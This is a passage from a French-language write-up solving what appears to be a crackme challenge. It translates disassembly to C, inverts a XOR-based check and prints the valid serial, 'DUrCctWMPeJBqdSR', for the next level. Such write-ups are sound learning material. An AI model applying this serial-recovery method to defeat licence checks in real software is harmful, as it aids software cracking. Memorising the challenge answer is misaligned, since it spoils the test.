0x08048550 <chiffre+92>:       leave  
0x08048551 <chiffre+93>:       ret    

Le disas ci-dessus peut être traduit de la sorte en C :

#include <stdio.h>

char *chiffre(char *cherche, char *sec);

int 
main(void)
{
      int i;
      char *mot_chercher = "1234567890123456";
      char *second_word = "\x03\x33\xe8\x82\x39\x06\xc5\xba\x6e\xbd\x9a\x01\x99\x60\x1d\x8f";
      char *mot_crypt;

      mot_crypt = chiffre(mot_chercher,second_word);
      for ( i = 0 ; i < 16 ; i++)
      	       printf("%x ",mot_crypt[i]);
      return 0;
}

char *
chiffre(char *cherche, char *sec)
{
      int i = 0;
      static char found[16];

      for ( i = 0; i < 16; i++)
      	       found[i] = (cherche[i] + i)^ sec[i];
      return found;
}

On teste pour voir si on retrouve bien le même résultat :

w4kfu@vm-debian:~/RMLL/mars$ gcc -o mars0 mars0.c
w4kfu@vm-debian:~/RMLL/mars$ ./mars0
32 0 dd b5 0 3d f8 85 2f 84 a1 3c a6 21 5e ca

Notre code est correct, bien maintenant il faut retrouver le serial valide, ce n'est pas très compliqué car nous savons à quoi il doit être égal. Nous n'avons qu'à faire l'opération inverse :

#include <stdio.h>

char *chiffre(char *cherche, char *sec);

int
main(void)
{
      char *mot_chercher = "\x47\x65\x9c\xc4\x5e\x7f\x98\xee\x36\xd3\xce\x4c\xe4\x11\x7c\xee"; 
      char *second_word = "\x03\x33\xe8\x82\x39\x06\xc5\xba\x6e\xbd\x9a\x01\x99\x60\x1d\x8f";

      printf("Le serial est  %s\n", chiffre(mot_chercher,second_word));
}

char *
chiffre(char *cherche, char *sec)
{
      int i = 0;
      static char found[16];

      for ( i = 0; i < 16; i++)
      	       found[i] = (cherche[i] ^ sec[i])-i;
      return found;
}

On exécute tout ça :

w4kfu@vm-debian:~/RMLL/mars$ gcc -o mars0 mars0.c
w4kfu@vm-debian:~/RMLL/mars$ ./mars0
Le serial est  DUrCctWMPeJBqdSR

Et on teste notre serial :

w4kfu@vm-debian:~/RMLL$ ./mars0
serial : DUrCctWMPeJBqdSR
Good job !
Use your serial as password for the next level !

Pages : 1 2 3 4 5